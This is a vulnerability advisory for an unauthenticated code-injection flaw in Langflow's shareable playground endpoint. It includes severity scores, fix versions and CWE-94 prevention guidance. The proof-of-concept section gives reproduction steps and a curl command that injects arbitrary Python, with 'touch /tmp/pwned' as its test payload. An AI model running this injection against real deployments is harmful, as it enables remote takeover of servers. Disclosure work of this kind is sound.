GHSA-v5ff-9q35-q26f CVE-2026-48519 PYSEC-2026-243

Langflow: Unauthenticated RCE in Shareable Playgrounds

Critical PyPI

Severity: 9.6 / 10; Critical · CVSS 3.1
Exploit chance (EPSS): 0.78%; Chance of exploitation in the next 30 days. Higher than 56.04% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix: 1.9.2; Upgrade langflow to this version or later

Description

Summary

The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!

The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.

PoC

Reproduction:

Create a new flow and add a Chat Input node to it
Share the flow ("Shareable Playground")
Access the public link with the browser developers tools open and execute the flow.
Find the /api/v1/build_public_tmp route and copy as cURL
Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.

Example PoC (replace flow ID with the correct one), and download test_with_python.json:

curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.

The stacktrace for the code executed is:

...
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(
  File "<string>", line 59, in __init__

Impact

Unauthenticated RCE on any deployment with a shareable playground.

Ori Lahav Security Researcher @ Rubrik Inc.

Affected versions

PyPI

Package	Vulnerable	Fixed in
langflow	`< 1.9.2`	`1.9.2`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

langflow PyPI → `1.9.2`

pip

pip install --upgrade "langflow>=1.9.2"

poetry

poetry add "langflow>=1.9.2"

uv

uv add "langflow>=1.9.2"

Severity breakdown

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: Required
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it

Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2026-48519

Packages

github.com/langflow-ai/langflow

Timeline

Jun 16, 2026 Published
Oct 26, 2026 Last updated by the source
Nov 1, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-qrpv-q767-xqq2 Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow	High Known exploited	Also affects langflow
GHSA-vwmf-pq79-vjvx Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint	Critical Known exploited	Also affects langflow
GHSA-g22f-v6f7-2hrh Langflow affected by Remote Code Execution via validate_code() exec()	High Known exploited	Also affects langflow
GHSA-577h-p2hh-v4mv Langflow CORS misconfiguration enables Account Takeover and RCE	Critical Known exploited	Also affects langflow
GHSA-rvqx-wpfh-mfx7 Langflow Unauth RCE	Critical Known exploited	Also affects langflow
GHSA-j8f7-x8jm-wmm4 Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)	Medium	Also affects langflow
GHSA-4f6c-2vvp-gw82 Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write	High	Also affects langflow
GHSA-4hmc-cfm3-w43c Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers	High	Also affects langflow

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